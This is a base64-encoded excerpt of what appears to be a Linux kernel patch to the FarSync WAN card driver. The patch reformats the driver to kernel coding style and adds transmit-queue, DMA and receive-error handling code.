bGVtcykKKwkgKi8KKwl1MzIgaW50ZXJydXB0UmV0cnlDb3VudDsKIAotICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAvKiBOdW1iZXIgb2YgdGltZXMgdGhhdCBjYXJkIHRoaW5rcyB0aGUg aG9zdCBoYXMKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogbWlzc2VkIGFuIGlu dGVycnVwdCBieSBub3QgYWNrbm93bGVkZ2luZwotICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgKiB3aXRoaW4gMm1TIChJIGd1ZXNzIE5UIGhhcyBwcm9ibGVtcykKLSAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICovCi0gICAgICAgIHUzMiBpbnRlcnJ1cHRSZXRyeUNvdW50 OworCS8qIERyaXZlciBwcml2YXRlIGRhdGEgdXNlZCBhcyBhbiBJRC4gV2UnbGwgbm90CisJICog dXNlIHRoaXMgYXMgSSdkIHJhdGhlciBrZWVwIHN1Y2ggdGhpbmdzCisJICogaW4gbWFpbiBtZW1v cnkgcmF0aGVyIHRoYW4gb24gdGhlIFBDSSBidXMKKwkgKi8KKwl1MzIgcG9ydEhhbmRsZVtGU1Rf TUFYX1BPUlRTXTsKIAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBEcml2ZXIg cHJpdmF0ZSBkYXRhIHVzZWQgYXMgYW4gSUQuIFdlJ2xsIG5vdAotICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgKiB1c2UgdGhpcyBvbiBMaW51eCBJJ2QgcmF0aGVyIGtlZXAgc3VjaCB0 aGluZ3MKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogaW4gbWFpbiBtZW1vcnkg cmF0aGVyIHRoYW4gb24gdGhlIFBDSSBidXMKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICovCi0gICAgICAgIHUzMiBwb3J0SGFuZGxlW0ZTVF9NQVhfUE9SVFNdOworCS8qIENvdW50 IG9mIFR4IHVuZGVyZmxvd3MgZm9yIHN0YXRzICovCisJdTMyIHRyYW5zbWl0QnVmZmVyVW5kZXJm bG93W0ZTVF9NQVhfUE9SVFNdOwogCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8q IENvdW50IG9mIFR4IHVuZGVyZmxvd3MgZm9yIHN0YXRzICovCi0gICAgICAgIHUzMiB0cmFuc21p dEJ1ZmZlclVuZGVyZmxvd1tGU1RfTUFYX1BPUlRTXTsKKwkvKiBEZWJvdW5jZWQgVi4yNCBjb250 cm9sIGlucHV0IHN0YXR1cyAqLworCXUzMiB2MjREZWJvdW5jZWRTdHNbRlNUX01BWF9QT1JUU107 CiAKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogRGVib3VuY2VkIFYuMjQgY29u dHJvbCBpbnB1dCBzdGF0dXMgKi8KLSAgICAgICAgdTMyIHYyNERlYm91bmNlZFN0c1tGU1RfTUFY X1BPUlRTXTsKKwkvKiBBZGFwdGVyIGRlYm91bmNlIHRpbWVycy4gRG9uJ3QgdG91Y2ggKi8KKwl1 MzIgY3RzVGltZXJbRlNUX01BWF9QT1JUU107CisJdTMyIGN0c1RpbWVyUnVuW0ZTVF9NQVhfUE9S VFNdOworCXUzMiBkY2RUaW1lcltGU1RfTUFYX1BPUlRTXTsKKwl1MzIgZGNkVGltZXJSdW5bRlNU X01BWF9QT1JUU107CiAKLSAgIC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GF0dXM7CiAKLSAg ICAgICAgdTMyIGVuZE9mU21jU2lnbmF0dXJlOyAgLyogZW5kT2ZTbWNTaWduYXR1cmUgTVVTVCBi ZSB0aGUgbGFzdCBtZW1iZXIgb2YKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICog dGhlIHN0cnVjdHVyZSBhbmQgbWFya3MgdGhlIGVuZCBvZiB0aGUgc2hhcmVkCi0gICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAqIG1lbW9yeS4gQWRhcHRlciBjb2RlIGluaXRpYWxpemVz IGl0cyB2YWx1ZSBhcwotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiBFTkRfU0lH LgotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8KKwl1MzIgZW5kT2ZTbWNTaWdu YXR1cmU7CS8qIGVuZE9mU21jU2lnbmF0dXJlIE1VU1QgYmUgdGhlIGxhc3QgbWVtYmVyIG9mCisJ CQkJICogdGhlIHN0cnVjdHVyZSBhbmQgbWFya3MgdGhlIGVuZCBvZiBzaGFyZWQKKwkJCQkgKiBt ZW1vcnkuIEFkYXB0ZXIgY29kZSBpbml0aWFsaXplcyBpdCBhcworCQkJCSAqIEVORF9TSUcuCisJ CQkJICovCiB9OwogCiAvKiBlbmRPZlNtY1NpZ25hdHVyZSB2YWx1ZSAqLwogI2RlZmluZSBFTkRf U0lHICAgICAgICAgICAgICAgICAweDEyMzQ1Njc4CiAKIC8qIE1haWxib3ggdmFsdWVzLiAocG9y dE1haWxib3gpICovCi0jZGVmaW5lIE5PUCAgICAgICAgICAgICAwICAgICAgIC8qIE5vIG9wZXJh dGlvbiAqLwotI2RlZmluZSBBQ0sgICAgICAgICAgICAgMSAgICAgICAvKiBQb3NpdGl2ZSBhY2tu b3dsZWRnZW1lbnQgdG8gUEMgZHJpdmVyICovCi0jZGVmaW5lIE5BSyAgICAgICAgICAgICAyICAg ICAgIC8qIE5lZ2F0aXZlIGFja25vd2xlZGdlbWVudCB0byBQQyBkcml2ZXIgKi8KLSNkZWZpbmUg U1RBUlRQT1JUICAgICAgIDMgICAgICAgLyogU3RhcnQgYW4gSERMQyBwb3J0ICovCi0jZGVmaW5l IFNUT1BQT1JUICAgICAgICA0ICAgICAgIC8qIFN0b3AgYW4gSERMQyBwb3J0ICovCi0jZGVmaW5l IEFCT1JUVFggICAgICAgICA1ICAgICAgIC8qIEFib3J0IHRoZSB0cmFuc21pdHRlciBmb3IgYSBw b3J0ICovCi0jZGVmaW5lIFNFVFYyNE8gICAgICAgICA2ICAgICAgIC8qIFNldCBWMjQgb3V0cHV0 cyAqLworI2RlZmluZSBOT1AgICAgICAgICAgICAgMAkvKiBObyBvcGVyYXRpb24gKi8KKyNkZWZp bmUgQUNLICAgICAgICAgICAgIDEJLyogUG9zaXRpdmUgYWNrbm93bGVkZ2VtZW50IHRvIFBDIGRy aXZlciAqLworI2RlZmluZSBOQUsgICAgICAgICAgICAgMgkvKiBOZWdhdGl2ZSBhY2tub3dsZWRn ZW1lbnQgdG8gUEMgZHJpdmVyICovCisjZGVmaW5lIFNUQVJUUE9SVCAgICAgICAzCS8qIFN0YXJ0 IGFuIEhETEMgcG9ydCAqLworI2RlZmluZSBTVE9QUE9SVCAgICAgICAgNAkvKiBTdG9wIGFuIEhE TEMgcG9ydCAqLworI2RlZmluZSBBQk9SVFRYICAgICAgICAgNQkvKiBBYm9ydCB0aGUgdHJhbnNt aXR0ZXIgZm9yIGEgcG9ydCAqLworI2RlZmluZSBTRVRWMjRPICAgICAgICAgNgkvKiBTZXQgVjI0 IG91dHB1dHMgKi8KKworLyogUExYIENoaXAgUmVnaXN0ZXIgT2Zmc2V0cyAqLworI2RlZmluZSBD TlRSTF85MDUyICAgICAgMHg1MAkvKiBDb250cm9sIFJlZ2lzdGVyICovCisjZGVmaW5lIENOVFJM XzkwNTQgICAgICAweDZjCS8qIENvbnRyb2wgUmVnaXN0ZXIgKi8KIAorI2RlZmluZSBJTlRDU1Jf OTA1MiAgICAgM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WN0IGZzdF9wb3J0X2luZm8gewotICAgICAgICBz dHJ1Y3QgbmV0X2RldmljZSAgICAgICpkZXY7Ci0gICAgICAgIHN0cnVjdCBmc3RfY2FyZF9pbmZv ICAgKmNhcmQ7ICAgLyogQ2FyZCB3ZSdyZSBhc3NvY2lhdGVkIHdpdGggKi8KLSAgICAgICAgaW50 ICAgICAgICAgICAgICAgICAgICAgaW5kZXg7ICAvKiBQb3J0IGluZGV4IG9uIHRoZSBjYXJkICov Ci0gICAgICAgIGludCAgICAgICAgICAgICAgICAgICAgIGh3aWY7ICAgLyogTGluZSBoYXJkd2Fy ZSAobGluZUludGVyZmFjZSBjb3B5KSAqLwotICAgICAgICBpbnQgICAgICAgICAgICAgICAgICAg ICBydW47ICAgIC8qIFBvcnQgaXMgcnVubmluZyAqLwotICAgICAgICBpbnQgICAgICAgICAgICAg ICAgICAgICByeHBvczsgIC8qIE5leHQgUnggYnVmZmVyIHRvIHVzZSAqLwotICAgICAgICBpbnQg ICAgICAgICAgICAgICAgICAgICB0eHBvczsgIC8qIE5leHQgVHggYnVmZmVyIHRvIHVzZSAqLwot ICAgICAgICBpbnQgICAgICAgICAgICAgICAgICAgICB0eGlwb3M7IC8qIE5leHQgVHggYnVmZmVy IHRvIGNoZWNrIGZvciBmcmVlICovCi0gICAgICAgIGludCAgICAgICAgICAgICAgICAgICAgIHR4 Y250OyAgLyogQ291bnQgb2YgVHggYnVmZmVycyBpbiB1c2UgKi8KKyAgICAgICAgc3RydWN0IG5l dF9kZXZpY2UgKmRldjsgLyogRGV2aWNlIHN0cnVjdCAtIG11c3QgYmUgZmlyc3QgKi8KKwlzdHJ1 Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZDsJLyogQ2FyZCB3ZSdyZSBhc3NvY2lhdGVkIHdpdGggKi8K KwlpbnQgaW5kZXg7CQkvKiBQb3J0IGluZGV4IG9uIHRoZSBjYXJkICovCisJaW50IGh3aWY7CQkv KiBMaW5lIGhhcmR3YXJlIChsaW5lSW50ZXJmYWNlIGNvcHkpICovCisJaW50IHJ1bjsJCS8qIFBv cnQgaXMgcnVubmluZyAqLworCWludCBtb2RlOwkJLyogTm9ybWFsIG9yIEZhclN5bmMgcmF3ICov CisJaW50IHJ4cG9zOwkJLyogTmV4dCBSeCBidWZmZXIgdG8gdXNlICovCisJaW50IHR4cG9zOwkJ LyogTmV4dCBUeCBidWZmZXIgdG8gdXNlICovCisJaW50IHR4aXBvczsJCS8qIE5leHQgVHggYnVm ZmVyIHRvIGNoZWNrIGZvciBmcmVlICovCisJaW50IHN0YXJ0OwkJLyogSW5kaWNhdGlvbiBvZiBz dGFydC9zdG9wIHRvIG5ldHdvcmsgKi8KKwkvKgorCSAqIEEgc2l4dGVlbiBlbnRyeSB0cmFuc21p dCBxdWV1ZQorCSAqLworCWludCB0eHFzOwkJLyogaW5kZXggdG8gZ2V0IG5leHQgYnVmZmVyIHRv IHR4ICovCisJaW50IHR4cWU7CQkvKiBpbmRleCB0byBxdWV1ZSBuZXh0IHBhY2tldCAqLworCXN0 cnVjdCBza19idWZmICp0eHFbRlNUX1RYUV9ERVBUSF07CS8qIFRoZSBxdWV1ZSAqLworCWludCBy eHFkZXB0aDsKIH07CiAKIC8qICAgICAgUGVyIGNhcmQgaW5mb3JtYXRpb24KICAqLwogc3RydWN0 IGZzdF9jYXJkX2luZm8gewotICAgICAgICBjaGFyICAgICAgICAgICptZW07ICAgICAgICAgICAg IC8qIENhcmQgbWVtb3J5IG1hcHBlZCB0byBrZXJuZWwgc3BhY2UgKi8KLSAgICAgICAgY2hhciAg ICAgICAgICAqY3RsbWVtOyAgICAgICAgICAvKiBDb250cm9sIG1lbW9yeSBmb3IgUENJIGNhcmRz ICovCi0gICAgICAgIHVuc2lnbmVkIGludCAgIHBoeXNfbWVtOyAgICAgICAgLyogUGh5c2ljYWwg bWVtb3J5IHdpbmRvdyBhZGRyZXNzICovCi0gICAgICAgIHVuc2lnbmVkIGludCAgIHBoeXNfY3Rs bWVtOyAgICAgLyogUGh5c2ljYWwgY29udHJvbCBtZW1vcnkgYWRkcmVzcyAqLwotICAgICAgICB1 bnNpZ25lZCBpbnQgICBpcnE7ICAgICAgICAgICAgIC8qIEludGVycnVwdCByZXF1ZXN0IGxpbmUg bnVtYmVyICovCi0gICAgICAgIHVuc2lnbmVkIGludCAgIG5wb3J0czsgICAgICAgICAgLyogTnVt YmVyIG9mIHNlcmlhbCBwb3J0cyAqLwotICAgICAgICB1bnNpZ25lZCBpbnQgICB0eXBlOyAgICAg ICAgICAgIC8qIFR5cGUgaW5kZXggb2YgY2FyZCAqLwotICAgICAgICB1bnNpZ25lZCBpbnQgICBz dGF0ZTsgICAgICAgICAgIC8qIFN0YXRlIG9mIGNhcmQgKi8KLSAgICAgICAgc3BpbmxvY2tfdCAg ICAgY2FyZF9sb2NrOyAgICAgICAvKiBMb2NrIGZvciBTTVAgYWNjZXNzICovCi0gICAgICAgIHVu c2lnbmVkIHNob3J0IHBjaV9jb25mOyAgICAgICAgLyogUENJIGNhcmQgY29uZmlnIGluIEkvTyBz cGFjZSAqLwotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIFBlciBw b3J0IGluZm8gKi8KLSAgICAgICAgc3RydWN0IGZzdF9wb3J0X2luZm8gcG9ydHNbIEZTVF9NQVhf UE9SVFMgXTsKKwljaGFyICptZW07CQkvKiBDYXJkIG1lbW9yeSBtYXBwZWQgdG8ga2VybmVsIHNw YWNlICovCisJY2hhciAqY3RsbWVtOwkJLyogQ29udHJvbCBtZW1vcnkgZm9yIFBDSSBjYXJkcyAq LworCXVuc2lnbmVkIGludCBwaHlzX21lbTsJLyogUGh5c2ljYWwgbWVtb3J5IHdpbmRvdyBhZGRy ZXNzICovCisJdW5zaWduZWQgaW50IHBoeXNfY3RsbWVtOwkvKiBQaHlzaWNhbCBjb250cm9sIG1l bW9yeSBhZGRyZXNzICovCisJdW5zaWduZWQgaW50IGlycTsJLyogSW50ZXJydXB0IHJlcXVlc3Qg bGluZSBudW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fdHg7CisJaW50IGRtYV9sZW5fcng7CisJaW50IGRtYV9sZW5fdHg7CisJ aW50IGRtYV90eHBvczsKKwlpbnQgZG1hX3J4cG9zOwogfTsKIAogLyogQ29udmVydCBhbiBIRExD IGRldmljZSBwb2ludGVyIGludG8gYSBwb3J0IGluZm8gcG9pbnRlciBhbmQgc2ltaWxhciAqLwpA QCAtMzgwLDcgKzQ5OCw2IEBACiAjZGVmaW5lIEZTVF9XUlcoQyxFLFcpICB3cml0ZXcgKChXKSwg KEMpLT5tZW0gKyBXSU5fT0ZGU0VUKEUpKQogI2RlZmluZSBGU1RfV1JMKEMsRSxMKSAgd3JpdGVs ICgoTCksIChDKS0+bWVtICsgV0lOX09GRlNFVChFKSkKIAotCiAvKgogICogICAgICBEZWJ1ZyBz dXBwb3J0CiAgKi8KQEAgLTM5OSwzMCArNTE2LDE1MSBAQAogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICBwcmludGsgKCBLRVJOX0RFQlVHIEZTVF9OQU1FICI6ICIgZm10LCAjIyBBICkK IAogI2Vsc2UKLSMgZGVmaW5lIGRiZyhYLi4uKSAgICAgIC8qIE5PUCAqLworI2RlZmluZSBkYmco WC4uLikJCS8qIE5PUCAqLwogI2VuZGlmCiAKLQogLyogICAgICBQcmludGluZyBzaG9ydCBjdXRz CiAgKi8KICNkZWZpbmUgcHJpbnRrX2VycihmbXQsQS4uLikgICAgcHJpbnRrICggS0VSTl9FUlIg ICAgIEZTVF9OQU1FICI6ICIgZm10LCAjIyBBICkKICNkZWZpbmUgcHJpbnRrX3dhcm4oZm10LEEu Li4pICAgcHJpbnRrICggS0VSTl9XQVJOSU5HIEZTVF9OQU1FICI6ICIgZm10LCAjIyBBICkKICNk ZWZpbmUgcHJpbnRrX2luZm8oZm10LEEuLi4pICAgcHJpbnRrICggS0VSTl9JTkZPICAgIEZTVF9O QU1FICI6ICIgZm10LCAjIyBBICkKIAotCiAvKgogICogICAgICBQQ0kgSUQgbG9va3VwIHRhYmxl C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WlsYm94W3BvcnQtPmluZGV4XVswXSk7CisJfQorCWlmIChzYWZldHkg PiAwKSB7CisJCWRiZyhEQkdfQ01ELCAiTWFpbGJveCBjbGVhciBhZnRlciAlZCBqaWZmaWVzXG4i LCBzYWZldHkpOworCX0KKwlpZiAobWJ2YWwgPT0gTkFLKSB7CisJCWRiZyhEQkdfQ01ELCAiaXNz dWVfY21kOiBwcmV2aW91cyBjb21tYW5kIHdhcyBOQUsnZFxuIik7CisJfQogCi0gICAgICAgICAg ICAgICAgbWJ2YWwgPSBGU1RfUkRXICggY2FyZCwgcG9ydE1haWxib3hbcG9ydC0+aW5kZXhdWzBd KTsKLSAgICAgICAgfQotICAgICAgICBpZiAoIHNhZmV0eSA+IDAgKQotICAgICAgICB7Ci0gICAg ICAgICAgICAgICAgZGJnICggREJHX0NNRCwiTWFpbGJveCBjbGVhciBhZnRlciAlZCBqaWZmaWVz XG4iLCBzYWZldHkgKTsKLSAgICAgICAgfQotICAgICAgICBpZiAoIG1idmFsID09IE5BSyApCi0g ICAgICAgIHsKLSAgICAgICAgICAgICAgICBkYmcgKCBEQkdfQ01ELCJpc3N1ZV9jbWQ6IHByZXZp b3VzIGNvbW1hbmQgd2FzIE5BSydkXG4iKTsKLSAgICAgICAgfQotCi0gICAgICAgIEZTVF9XUlcg KCBjYXJkLCBwb3J0TWFpbGJveFtwb3J0LT5pbmRleF1bMF0sIGNtZCApOwotCi0gICAgICAgIGlm ICggY21kID09IEFCT1JUVFggfHwgY21kID09IFNUQVJUUE9SVCApCi0gICAgICAgIHsKLSAgICAg ICAgICAgICAgICBwb3J0LT50eHBvcyAgPSAwOwotICAgICAgICAgICAgICAgIHBvcnQtPnR4aXBv cyA9IDA7Ci0gICAgICAgICAgICAgICAgcG9ydC0+dHhjbnQgID0gMDsKLSAgICAgICAgfQorCUZT VF9XUlcoY2FyZCwgcG9ydE1haWxib3hbcG9ydC0+aW5kZXhdWzBdLCBjbWQpOwogCi0gICAgICAg IHNwaW5fdW5sb2N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b3J0LT5pbmRleDsK LSAgICAgICAgY2FyZCA9IHBvcnQtPmNhcmQ7Ci0gICAgICAgIHNwaW5fbG9ja19pcnFzYXZlICgg JmNhcmQtPmNhcmRfbG9jaywgZmxhZ3MgKTsKLSAgICAgICAgZm9yICggaSA9IDAgOyBpIDwgTlVN X1JYX0JVRkZFUiA7IGkrKyApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBvZmZzZXQgPSBC VUZfT0ZGU0VUICggcnhCdWZmZXJbcGldW2ldWzBdKTsKLQotICAgICAgICAgICAgICAgIEZTVF9X UlcgKCBjYXJkLCByeERlc2NyUmluZ1twaV1baV0ubGFkciwgKHUxNikgb2Zmc2V0ICk7Ci0gICAg ICAgICAgICAgICAgRlNUX1dSQiAoIGNhcmQsIHJ4RGVzY3JSaW5nW3BpXVtpXS5oYWRyLCAodTgp KCBvZmZzZXQgPj4gMTYgKSk7Ci0gICAgICAgICAgICAgICAgRlNUX1dSVyAoIGNhcmQsIHJ4RGVz Y3JSaW5nW3BpXVtpXS5iY250LAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIGNudl9iY250ICggTEVOX1JYX0JVRkZFUiApKTsKLSAgICAgICAgICAgICAgICBGU1RfV1JX ICggY2FyZCwgcnhEZXNjclJpbmdbcGldW2ldLm1jbnQsIDAgKTsKLSAgICAgICAgICAgICAgICBG U1RfV1JCICggY2FyZCwgcnhEZXNjclJpbmdbcGldW2ldLmJpdHMsIERNQV9PV04gKTsKLSAgICAg ICAgfQotICAgICAgICBwb3J0LT5yeHBvcyAgPSAwOwotICAgICAgICBzcGluX3VubG9ja19pcnFy ZXN0b3JlICggJmNhcmQtPmNhcmRfbG9jaywgZmxhZ3MgKTsKKwlpbnQgaTsKKwlpbnQgcGk7CisJ dW5zaWduZWQgaW50IG9mZnNldDsKKwl1bnNpZ25lZCBsb25nIGZsYWdzOworCXN0cnVjdCBmc3Rf Y2FyZF9pbmZvICpjYXJkOworCisJcGkgPSBwb3J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rf Y2FyZF9pbmZvICpjYXJkLCBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydCkKIHsKLSAgICAgICAg aW50IHNpZ25hbHM7CisJaW50IHNpZ25hbHM7CiAKLSAgICAgICAgc2lnbmFscyA9IEZTVF9SREwg KCBjYXJkLCB2MjREZWJvdW5jZWRTdHNbcG9ydC0+aW5kZXhdKTsKKwlzaWduYWxzID0gRlNUX1JE TChjYXJkLCB2MjREZWJvdW5jZWRTdHNbcG9ydC0+aW5kZXhdKTsKIAotICAgICAgICBpZiAoIHNp Z25hbHMgJiAoKCBwb3J0LT5od2lmID09IFgyMSApID8gSVBTVFNfSU5ESUNBVEUgOiBJUFNUU19E Q0QgKSkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIGlmICggISBuZXRpZl9jYXJyaWVyX29r ICggcG9ydF90b19kZXYgKCBwb3J0ICkpKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAg ICAgICAgICAgICAgIGRiZyAoIERCR19JTlRSLCJEQ0QgYWN0aXZlXG4iKTsKLSAgICAgICAgICAg ICAgICAgICAgICAgIG5ldGlmX2NhcnJpZXJfb24gKCBwb3J0X3RvX2RldiAoIHBvcnQgKSk7Ci0g ICAgICAgICAgICAgICAgfQotICAgICAgICB9Ci0gICAgICAgIGVsc2UKLSAgICAgICAgewotICAg ICAgICAgICAgICAgIGlmICggbmV0aWZfY2Fycmllcl9vayAoIHBvcnRfdG9fZGV2ICggcG9ydCAp KSkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICBkYmcgKCBEQkdf SU5UUiwiRENEIGxvc3RcbiIpOwotICAgICAgICAgICAgICAgICAgICAgICAgbmV0aWZfY2Fycmll cl9vZmYgKCBwb3J0X3RvX2RldiAoIHBvcnQgKSk7Ci0gICAgICAgICAgICAgICAgfQotICAgICAg ICB9Ci0JcmV0dXJuIElSUV9IQU5ETEVEOworCWlmIChzaWduYWxzICYgKCgocG9ydC0+aHdpZi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WNrIHdlIGhhdmUgYSBidWZmZXIgdG8gcHJvY2VzcyAqLwotICAgICAgICBwaSAgPSBw b3J0LT5pbmRleDsKLSAgICAgICAgcnhwID0gcG9ydC0+cnhwb3M7Ci0gICAgICAgIGRtYWJpdHMg PSBGU1RfUkRCICggY2FyZCwgcnhEZXNjclJpbmdbcGldW3J4cF0uYml0cyApOwotICAgICAgICBp ZiAoIGRtYWJpdHMgJiBETUFfT1dOICkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIGRiZyAo IERCR19SWCB8IERCR19JTlRSLCJpbnRyX3J4OiBObyBidWZmZXIgcG9ydCAlZCBwb3MgJWRcbiIs Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGksIHJ4cCApOwotICAg ICAgICAgICAgICAgIHJldHVybjsKLSAgICAgICAgfQotCi0gICAgICAgIC8qIEdldCBidWZmZXIg bGVuZ3RoICovCi0gICAgICAgIGxlbiA9IEZTVF9SRFcgKCBjYXJkLCByeERlc2NyUmluZ1twaV1b cnhwXS5tY250ICk7Ci0gICAgICAgIC8qIERpc2NhcmQgdGhlIENSQyAqLwotICAgICAgICBsZW4g LT0gMjsKLQotICAgICAgICAvKiBDaGVjayBidWZmZXIgbGVuZ3RoIGFuZCBmb3Igb3RoZXIgZXJy b3JzLiBXZSBpbnNpc3Qgb24gb25lIHBhY2tldAotICAgICAgICAgKiBpbiBvbmUgYnVmZmVyLiBU aGlzIHNpbXBsaWZpZXMgdGhpbmdzIGdyZWF0bHkgYW5kIHNpbmNlIHdlJ3ZlCi0gICAgICAgICAq IGFsbG9jYXRlZCA4SyBpdCBzaG91bGRuJ3QgYmUgYSByZWFsIHdvcmxkIGxpbWl0YXRpb24KLSAg ICAgICAgICovCi0gICAgICAgIGRiZyAoIERCR19SWCwiaW50cl9yeDogJWQsJWQ6IGZsYWdzICV4 IGxlbiAlZFxuIiwgcGksIHJ4cCwgZG1hYml0cywKLSAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICBsZW4gKTsKLSAgICAgICAgaWYgKCBkbWFiaXRzICE9ICggUlhfU1RQIHwg UlhfRU5QICkgfHwgbGVuID4gTEVOX1JYX0JVRkZFUiAtIDIgKQotICAgICAgICB7Ci0gICAgICAg ICAgICAgICAgc3RhdHMtPnJ4X2Vycm9ycysrOwotCi0gICAgICAgICAgICAgICAgLyogVXBkYXRl IGVycm9yIHN0YXRzIGFuZCBkaXNjYXJkIGJ1ZmZlciAqLwotICAgICAgICAgICAgICAgIGlmICgg ZG1hYml0cyAmIFJYX09GTE8gKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAg ICAgICAgIHN0YXRzLT5yeF9maWZvX2Vycm9ycysrOwotICAgICAgICAgICAgICAgIH0KLSAgICAg ICAgICAgICAgICBpZiAoIGRtYWJpdHMgJiBSWF9DUkMgKQotICAgICAgICAgICAgICAgIHsKLSAg ICAgICAgICAgICAgICAgICAgICAgIHN0YXRzLT5yeF9jcmNfZXJyb3JzKys7Ci0gICAgICAgICAg ICAgICAgfQotICAgICAgICAgICAgICAgIGlmICggZG1hYml0cyAmIFJYX0ZSQU0gKQotICAgICAg ICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIHN0YXRzLT5yeF9mcmFtZV9lcnJv cnMrKzsKLSAgICAgICAgICAgICAgICB9Ci0gICAgICAgICAgICAgICAgaWYgKCBkbWFiaXRzID09 ICggUlhfU1RQIHwgUlhfRU5QICkpCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAg ICAgICAgICAgc3RhdHMtPnJ4X2xlbmd0aF9lcnJvcnMrKzsKLSAgICAgICAgICAgICAgICB9CisJ LyogR2V0IGJ1ZmZlciBsZW5ndGggKi8KKwlsZW4gPSBGU1RfUkRXKGNhcmQsIHJ4RGVzY3JSaW5n W3BpXVtyeHBdLm1jbnQpOworCS8qIERpc2NhcmQgdGhlIENSQyAqLworCWxlbiAtPSAyOworCWlm IChsZW4gPT0gMCkgeworCQkvKgorCQkgKiBUaGlzIHNlZW1zIHRvIGhhcHBlbiBvbiB0aGUgVEUx IGludGVyZmFjZSBzb21ldGltZXMKKwkJICogc28gdGhyb3cgdGhlIGZyYW1lIGF3YXkgYW5kIGxv ZyB0aGUgZXZlbnQuCisJCSAqLworCQlwcmludGtfZXJyKCJGcmFtZSByZWNlaXZlZCB3aXRoIDAg bGVuZ3RoLiBDYXJkICVkIFBvcnQgJWRcbiIsCisJCQkgICBjYXJkLT5jYXJkX25vLCBwb3J0LT5p bmRleCk7CisJCS8qIFJldHVybiBkZXNjcmlwdG9yIHRvIGNhcmQgKi8KKwkJRlNUX1dSQihjYXJk LCByeERlc2NyUmluZ1twaV1bcnhwXS5iaXRzLCBETUFfT1dOKTsKKworCQlyeHAgPSAocnhwKzEp ICUgTlVNX1JYX0JVRkZFUjsKKwkJcG9ydC0+cnhwb3MgPSByeHA7CisJCXJldHVybjsKKwl9CiAK LSAgICAgICAgICAgICAgICAvKiBEaXNjYXJkIGJ1ZmZlciBkZXNjcmlwdG9ycyB1bnRpbCB3ZSBz ZWUgdGhlIGVuZCBvZiBwYWNrZXQKLSAgICAgICAgICAgICAgICAgKiBtYXJrZXIKLSAgICAgICAg ICAgICAgICAgKi8KLSAgICAgICAgICAgICAgICBpID0gMDsKLSAgICAgICAgICAgICAgICB3aGls ZSAoKCBkbWFiaXRzICYgKCBETUFfT1dOIHwgUlhfRU5QICkpID09IDAgKQotICAgICAgICAgICAg ICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIEZTVF9XUkIgKCBjYXJkLCByeERlc2NyUmlu Z1twaV1bcnhwXS5iaXRzLCBETUFfT1dOICk7Ci0gICAgICAgICAgICAgICAgICAgICAgICBpZiAo ICsrcnhwID49IE5VTV9SWF9CVUZGRVIgKQotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICByeHAgPSAwOwotICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCArK2kgPiBOVU1fUlhfQlVG RkVSICkKLSAgICAgICAgICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgZGJnICggREJHX0FTUywiaW50cl9yeDogRGlzY2FyZGluZyBtb3JlIGJ1ZnMiCi0g ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiIHRoYW4gd2Ug aGF2ZVxuIik7Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwotICAgICAg ICAgICAgICAgICAgICAgICAgfQotICAgICAgICAgICAgICAgICAgICAgICAgZG1hYml0cyA9IEZT VF9SREIgKCBjYXJkLCByeERlc2NyUmluZ1twaV1bcnhwXS5iaXRzICk7Ci0gICAgICAgICAgICAg ICAgfQorCS8qIENoZWNrIGJ1ZmZlciBsZW5ndGggYW5kIGZvciBvdGhlciBlcnJvcnMuIFdlIGlu c2lzdCBvbiBvbmUgcGFja2V0CisJICogaW4gb25lIGJ1ZmZlci4gVGhpcyBzaW1wbGlmaWVzIHRo aW5ncyBncmVhdGx5IGFuZCBzaW5jZSB3ZSd2ZQorCSAqIGFsbG9jYXRlZCA4SyBpdCBzaG91bGRu J3QgYmUgYSByZWFsIHdvcmxkIGxpbWl0YXRpb24KKwkgKi8KKwlkYmcoREJHX1JYLCAiaW50cl9y eDogJWQsJWQ6IGZsYWdzICV4IGxlbiAlZFxuIiwgcGksIHJ4cCwgZG1hYml0cywgbGVuKTsKKwlp ZiAoZG1hYml0cyAhPSAoUlhfU1RQIHwgUlhfRU5QKSB8fCBsZW4gPiBMRU5fUlhfQlVGRkVSIC0g MikgeworCQlmc3RfbG9nX3J4X2Vycm9yKGNhcmQsIHBvcnQsIGRtYWJpdHMsIHJ4cCwgbGVuKTsK 